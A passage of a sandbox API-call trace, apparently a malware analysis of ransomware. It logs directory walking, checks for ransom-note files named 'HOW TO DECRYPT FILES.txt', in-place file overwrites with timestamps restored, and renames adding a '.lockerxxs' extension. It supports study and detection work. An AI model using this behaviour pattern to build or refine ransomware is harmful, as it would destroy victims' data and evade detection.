ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x10fd, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="default.aspx", cAlternateFileName="DEFAUL~1.ASP")) returned 1 [0137.168] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.168] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="default.aspx") returned 1 [0137.168] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="default.aspx") returned 1 [0137.168] lstrcmpiA (lpString1="", lpString2="default.aspx") returned -1 [0137.168] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\*.*") returned="*.*" [0137.168] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.168] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.176] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.176] CloseHandle (hObject=0x90) returned 1 [0137.177] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec999a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x1a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="error.aspx", cAlternateFileName="ERROR~1.ASP")) returned 1 [0137.177] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.177] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="error.aspx") returned -1 [0137.177] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="error.aspx") returned 1 [0137.177] lstrcmpiA (lpString1="", lpString2="error.aspx") returned -1 [0137.177] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\default.aspx") returned="default.aspx" [0137.177] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.177] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.178] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x551, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="home0.aspx", cAlternateFileName="HOME0~1.ASP")) returned 1 [0137.178] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.178] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home0.aspx") returned -1 [0137.178] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home0.aspx") returned 1 [0137.178] lstrcmpiA (lpString1="", lpString2="home0.aspx") returned -1 [0137.178] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\error.aspx") returned="error.aspx" [0137.178] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.178] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.178] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="home1.aspx", cAlternateFileName="HOME1~1.ASP")) returned 1 [0137.178] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.178] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home1.aspx") returned -1 [0137.178] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home1.aspx") returned 1 [0137.178] lstrcmpiA (lpString1="", lpString2="home1.aspx") returned -1 [0137.178] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home0.aspx") returned="home0.aspx" [0137.178] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.179] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.179] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed58080, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="home2.aspx", cAlternateFileName="HOME2~1.ASP")) returned 1 [0137.179] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0137.179] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="home2.aspx") returned -1 [0137.179] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="home2.aspx") returned 1 [0137.179] lstrcmpiA (lpString1="", lpString2="home2.aspx") returned -1 [0137.179] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home1.aspx") returned="home1.aspx" [0137.179] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" [0137.179] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\") returned="" [0137.179] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45004c, dwReserved1=0x2e0053, cFileName="Images", cAlternateFileName="")) returned 1 [0137.179] lstrcmpA (lpString1=".", lpString2="Images") returned -1 [0137.179] lstrcmpA (lpString1="..", lpString2="Images") returned -1 [0137.179] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\home2.aspx") returned="home2.aspx" [0137.180] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f4c0, dwReserved1=0x5035ce, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.182] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.182] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e9c5f80, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x9f3718e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9f3718e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.183] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.183] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.183] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9c5f80, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="alert_lrg.gif", cAlternateFileName="ALERT_~1.GIF")) returned 1 [0137.183] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.183] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="alert_lrg.gif") returned 1 [0137.183] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="alert_lrg.gif") returned 1 [0137.183] lstrcmpiA (lpString1="", lpString2="alert_lrg.gif") returned -1 [0137.183] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\*.*") returned="*.*" [0137.184] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.184] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.185] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.186] CloseHandle (hObject=0x94) returned 1 [0137.186] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9e9ec0e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x57e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ASPdotNET_logo.jpg", cAlternateFileName="ASPDOT~1.JPG")) returned 1 [0137.186] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.186] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ASPdotNET_logo.jpg") returned 1 [0137.186] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ASPdotNET_logo.jpg") returned 1 [0137.186] lstrcmpiA (lpString1="", lpString2="ASPdotNET_logo.jpg") returned -1 [0137.186] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\alert_lrg.gif") returned="alert_lrg.gif" [0137.186] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.186] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.190] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg") returned="ASPdotNET_logo.jpg" [0137.190] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.190] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x57be, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x57be, lpOverlapped=0x0) returned 1 [0137.191] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.191] CloseHandle (hObject=0x94) returned 1 [0137.191] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\aspdotnet_logo.jpg.lockerxxs")) returned 1 [0137.192] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x79, dwReserved0=0xce0001cf, dwReserved1=0x4e00c4, cFileName="aspx_file.gif", cAlternateFileName="ASPX_F~1.GIF")) returned 1 [0137.192] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.192] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="aspx_file.gif") returned 1 [0137.192] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="aspx_file.gif") returned 1 [0137.192] lstrcmpiA (lpString1="", lpString2="aspx_file.gif") returned -1 [0137.192] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\ASPdotNET_logo.jpg") returned="ASPdotNET_logo.jpg" [0137.192] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.192] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.193] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x7ee, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="branding_Full2.gif", cAlternateFileName="BRANDI~1.GIF")) returned 1 [0137.193] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.193] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="branding_Full2.gif") returned 1 [0137.193] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="branding_Full2.gif") returned 1 [0137.193] lstrcmpiA (lpString1="", lpString2="branding_Full2.gif") returned -1 [0137.193] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\aspx_file.gif") returned="aspx_file.gif" [0137.193] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.193] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.193] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ebdb2c0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="darkBlue_GRAD.jpg", cAlternateFileName="DARKBL~1.JPG")) returned 1 [0137.193] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.194] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="darkBlue_GRAD.jpg") returned 1 [0137.194] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="darkBlue_GRAD.jpg") returned 1 [0137.194] lstrcmpiA (lpString1="", lpString2="darkBlue_GRAD.jpg") returned -1 [0137.194] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\branding_Full2.gif") returned="branding_Full2.gif" [0137.194] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.194] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.196] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg") returned="darkBlue_GRAD.jpg" [0137.196] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.197] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x201e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x201e, lpOverlapped=0x0) returned 1 [0137.197] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.197] CloseHandle (hObject=0x94) returned 1 [0137.198] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\asp.netwebadminfiles\\images\\darkblue_grad.jpg.lockerxxs")) returned 1 [0137.198] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ec4d6e0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName="deselectedTab_1x1.gif", cAlternateFileName="DESELE~1.GIF")) returned 1 [0137.198] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.198] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="deselectedTab_1x1.gif") returned 1 [0137.199] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="deselectedTab_1x1.gif") returned 1 [0137.199] lstrcmpiA (lpString1="", lpString2="deselectedTab_1x1.gif") returned -1 [0137.199] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\darkBlue_GRAD.jpg") returned="darkBlue_GRAD.jpg" [0137.199] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: lpString1="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" [0137.199] PathAddBackslashA (in: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\") returned="" [0137.199] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248b4900, ftCreationTime.dwHighDateTime=0x1cac5de, ftLastAccessTime.dwLowDateTime=0x9ed31f20, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x248b4900, ftLastWriteTime.dwHighDateTime=0x1cac5de, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x590052, dwReserved1=0x540050, cFileName="folder.gif", cAlternateFileName="")) returned 1 [0137.199] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.199] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="folder.gif") returned -1 [0137.199] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="folder.gif") returned 1 [0137.199] lstrcmpiA (lpString1="", lpString2="folder.gif") returned -1 [0137.199] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\deselectedTab_1x1.gif") returned="deselectedTab_1x1.gif" [0137.199] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ASP.NETWebAdminFiles\\Images\\" | out: 